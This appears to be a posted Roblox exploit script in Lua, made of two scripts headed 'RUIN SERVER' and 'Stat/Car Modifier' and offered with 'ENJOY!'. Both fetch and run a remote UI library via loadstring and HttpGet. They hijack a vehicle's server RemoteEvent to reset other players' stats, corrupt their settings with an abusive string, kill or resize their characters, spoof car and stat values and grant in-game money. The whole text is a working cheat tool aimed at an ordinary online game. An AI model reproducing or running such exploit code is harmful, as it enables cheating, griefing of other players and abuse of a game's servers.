Created by Sol 2278
Features:
- RUIN SERVER
local function Create()
local library = loadstring(game:HttpGet(('https://raw.githubusercontent.com/AikaV3rm/UiLib/master/Lib.lua')))()
local win = library:CreateWindow("Water")
local main = win:CreateFolder("Vehicle Destroyer")
local LocalPlayer = game:GetService("Players").LocalPlayer
local remote = nil;
local display_value = nil;
local function HijackRemote()
local a,b = pcall(function()
for i,v in pairs(workspace:GetDescendants()) do
if v.ClassName == "RemoteEvent" then
if v.Parent.Name == "Server" then
if tostring(v.Parent.Parent.Driver.Value):lower():match(LocalPlayer.Name:lower()) then
remote = v;
display_value:Refresh("[Success]")
return
end
end
end
end
end)
print(a,b)
end
display_value = main:Label(". . .",{
TextSize = 25; -- Self Explaining
TextColor = Color3.fromRGB(255,255,255);
BgColor = Color3.fromRGB(69,69,69);
})
local function UpdateVehicle(Spec, Value)
if remote == nil then display_value:Refresh("[Waiting]"); HijackRemote() return end;
local a,b = pcall(function()
local args = {
[1] = "UpdateVal",
[2] = Spec,
[3] = Value
}
remote:FireServer(unpack(args))
end)
print(a,b)
end
local remote_hijacker = main:Button("Hijack Remote", HijackRemote)
local remote_reseter = main:Button("Reset Remote", function()
remote = nil; display_value:Refresh("[Waiting]");
end)
local reset_stats = main:Button("Reset stats others", function()
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v ~= LocalPlayer then
if v.leaderstats then
for ii,vv in pairs(v.leaderstats:GetChildren()) do
UpdateVehicle(vv, 0)
end
end
end
end
end)
local stat_increasement = 0;
local body_increasement = 0;
local stat_mixer = main:Button("Give stats", function()
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v ~= LocalPlayer then
if v.leaderstats then
for ii,vv in pairs(v.leaderstats:GetChildren()) do
UpdateVehicle(vv, vv.Value + stat_increasement)
end
end
end
end
end)
main:Box("Stat increasement", "number", function(value)
stat_increasement = value;
end)
local no_settings = main:Button("No settings", function()
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v ~= LocalPlayer then
if v.Controls then
for ii,vv in pairs(v.Controls:GetChildren()) do
UpdateVehicle(vv, "")
end
end
end
end
end)
local destroy_settings = main:Button("Destroy settings", function()
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v ~= LocalPlayer then
if v.Controls then
for ii,vv in pairs(v.Controls:GetChildren()) do
if vv:IsA("StringValue") then
UpdateVehicle(vv, "Fuck off -do_ntban")
elseif vv:IsA("IntValue") or vv:IsA("NumberValue") then
UpdateVehicle(vv, 9e9)
elseif vv:IsA("BoolValue") then
UpdateVehicle(vv, not vv.Value)
end
end
end
end
end
end)
local body_size_others = main:Button("Increase others size", function()
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v ~= LocalPlayer then
if v.Character then
for ii,vv in pairs(v.Character.Humanoid:GetChildren()) do
if vv:IsA("IntValue") or vv:IsA("NumberValue") then
UpdateVehicle(vv, body_increasement)
end
end
end
end
end
end)
local body_size_local = main:Button("Increase local size", function()
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v == LocalPlayer then
if v.Character then
for ii,vv in pairs(v.Character.Humanoid:GetChildren()) do
if vv:IsA("IntValue") or vv:IsA("NumberValue") then
UpdateVehicle(vv, body_increasement)
end
end
end
end
end
end)
local body_size_none = main:Button("No body size", function()
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v.Character then
for ii,vv in pairs(v.Character.Humanoid:GetChildren()) do
if vv:IsA("IntValue") or vv:IsA("NumberValue") then
UpdateVehicle(vv, 0)
end
end
end
end
end)
local kill_others = main:Button("Kill others", function()
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v ~= LocalPlayer then
if v.Character then
for ii,vv in pairs(v.Character:GetDescendants()) do
if vv:IsA("IntValue") or vv:IsA("NumberValue") then
UpdateVehicle(vv, -9e9)
end
end
end
end
end
end)
local ruin_server = main:Button("Ruin server", function()
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v.Character then
for ii,vv in pairs(v.Character:GetDescendants()) do
if vv:IsA("IntValue") or vv:IsA("NumberValue") then
UpdateVehicle(vv, 9e9)
end
end
end
end
end)
main:Box("BodySize Increasement", "number", function(value)
body_increasement = value;
end)
end
Create()
- Stat/Car Modifier
local function Create()
local library = loadstring(game:HttpGet(('https://raw.githubusercontent.com/AikaV3rm/UiLib/master/Lib.lua')))()
local win = library:CreateWindow("Water")
local main = win:CreateFolder("Vehicle Tuning")
local other = win:CreateFolder("Stat Tuning")
local Player = game:GetService("Players").LocalPlayer
local current_selected = ""
local current_item = nil;
local current_stat = nil;
local SelectPlayer;
local function GetPlayers()
local plr = {"None"}
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
table.insert(plr, v.Name)
end
return plr
end
local function UpdateVehicle(Spec, Value)
local a,b = pcall(function()
local args = {
[1] = "UpdateVal",
[2] = Spec,
[3] = Value
}
local whatever = Spec;
local tries = 0;
while whatever.ClassName ~= "VehicleSeat" do
wait()
tries = tries+1;
if tries >= 5 then break end;
whatever = whatever.Parent
end
whatever.Server.RemoteEvent:FireServer(unpack(args))
end)
print(a, b)
end
local function CustomSpoof(Spec, Value, Remote)
local a,b = pcall(function()
local args = {
[1] = "UpdateVal",
[2] = Spec,
[3] = Value
}
Remote:FireServer(unpack(args))
end)
print(a, b)
end
local display_value = main:Label("Info",{
TextSize = 25; -- Self Explaining
TextColor = Color3.fromRGB(255,255,255);
BgColor = Color3.fromRGB(69,69,69);
})
SelectPlayer = main:Dropdown("Select Player", GetPlayers(), true, function(cur)
if cur == "None" then return end
Player = game:GetService("Players")[cur]
SelectPlayer:Refresh(GetPlayers())
end)
other:Dropdown("Stat", {"None", "Drift", "Exp", "Lvl"}, true, function(cur)
if cur == "None" then return end
current_stat = Player.leaderstats[cur]
end)
other:Box("Spoof Integer","number", function(value)
if current_stat == nil then return end
if current_selected == nil then return end
if type(current_stat.Value) == "number" then
for i,v in pairs(Player.Character:GetChildren()) do
if v:IsA"Model" then
if v.Name == current_selected then
CustomSpoof(current_stat, value, v.DriveSeat.Server.RemoteEvent);
end
end
end
else
warn("[-Error-] cannot spoof: " .. type(current_stat) .. " as integer")
end
end)
local function GetCars()
local cars = {"None"};
for i,v in pairs(Player.Character:GetChildren()) do
if v:IsA"Model" then
table.insert(cars, v)
end
end
return cars
end
local specs = {
["Userdata"] = {},
["Name"] = {};
};
local display_data;
display_data = main:Dropdown("Select Display", {"None"}, true, function(cur)
if cur == "None" then return end
for i,v in pairs(specs.Userdata) do
if v.Name == cur then
current_item = v;
display_value:Refresh("Value: " .. v.Value)
end
end
end)
local list;
list = main:Dropdown("Select Car", GetCars(), true, function(car)
if car == "None" then list:Refresh(GetCars()) return end
current_selected = car;
specs = {
["Userdata"] = {},
["Name"] = {};
};
for i,v in pairs(Player.Character:GetChildren()) do
if v:IsA"Model" then
if v.Name == current_selected then
if v.DriveSeat.Specs ~= nil then
for ii,vv in pairs(v.DriveSeat.Specs:GetDescendants()) do
table.insert(specs["Userdata"], vv)
table.insert(specs["Name"], vv.Name)
end
end
end
end
end
display_data:Refresh(specs["Name"])
end)
main:Box("Spoof Integer","number", function(value)
if current_item == nil then return end
if type(current_item.Value) == "number" then
UpdateVehicle(current_item, value);
else
warn("[-Error-] cannot spoof: " .. type(current_item) .. " as integer")
end
end)
main:Box("Spoof String","string", function(value)
if current_item == nil then return end
if type(current_item.Value) == "string" then
UpdateVehicle(current_item, value);
else
warn("[-Error-] cannot spoof: " .. type(current_item) .. " as string")
end
end)
main:Button("Give 10000 money", function()
local args = {
[1] = "Sanctioned",
[2] = -10000,
[3] = "372434240",
[4] = {}
}
game:GetService("ReplicatedStorage").RemoteEvent:FireServer(unpack(args))
end)
end
Create()
ENJOY!